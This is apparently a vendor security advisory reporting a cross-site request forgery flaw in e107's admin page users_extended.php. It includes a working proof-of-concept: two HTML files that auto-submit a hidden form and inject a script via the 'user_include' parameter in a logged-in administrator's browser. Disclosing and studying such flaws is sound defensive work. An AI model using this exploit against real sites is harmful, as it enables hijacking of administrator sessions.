Cross-site Request Forgery in e107

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in e107 which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in e107
The vulnerability exists due to insufficient verification of the request origin in e107_admin/users_extended.php. A remote attacker can trick a logged-in administrator into following a specially crafted link and execute arbitrary HTML and script code via the "user_include" HTTP POST parameter in administrator`s browser in context of vulnerable website.

Exploitation example:
poc.html
<script>
setTimeout("document.getElementById('f1').src='http://HOST/e107_ad min/users_extended.php'",2000);
</script>
<iframe id=f1 src='form.html'></iframe>
form.html
<form method="POST" action="http://HOST/e107_admin/users_extended.php?editext" name=m>
<input type="hidden" name="user_field" value="abcde1f1">
<input type="hidden" name="user_text" value="12121">
<input type="hidden" name="user_type" value="1">
<input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="add_field" value="1">
<input type="hidden" name="user_parent" value="0">
<input type="hidden" name="user_required" value="0">
<input type="hidden" name="user_applicable" value="255">
<input type="hidden" name="user_read" value="0">
<input type="hidden" name="user_write" value="253">
<input type="hidden" name="user_hide" value="0">
<input type=submit>
</form>
<script>
document.m.submit();
</script>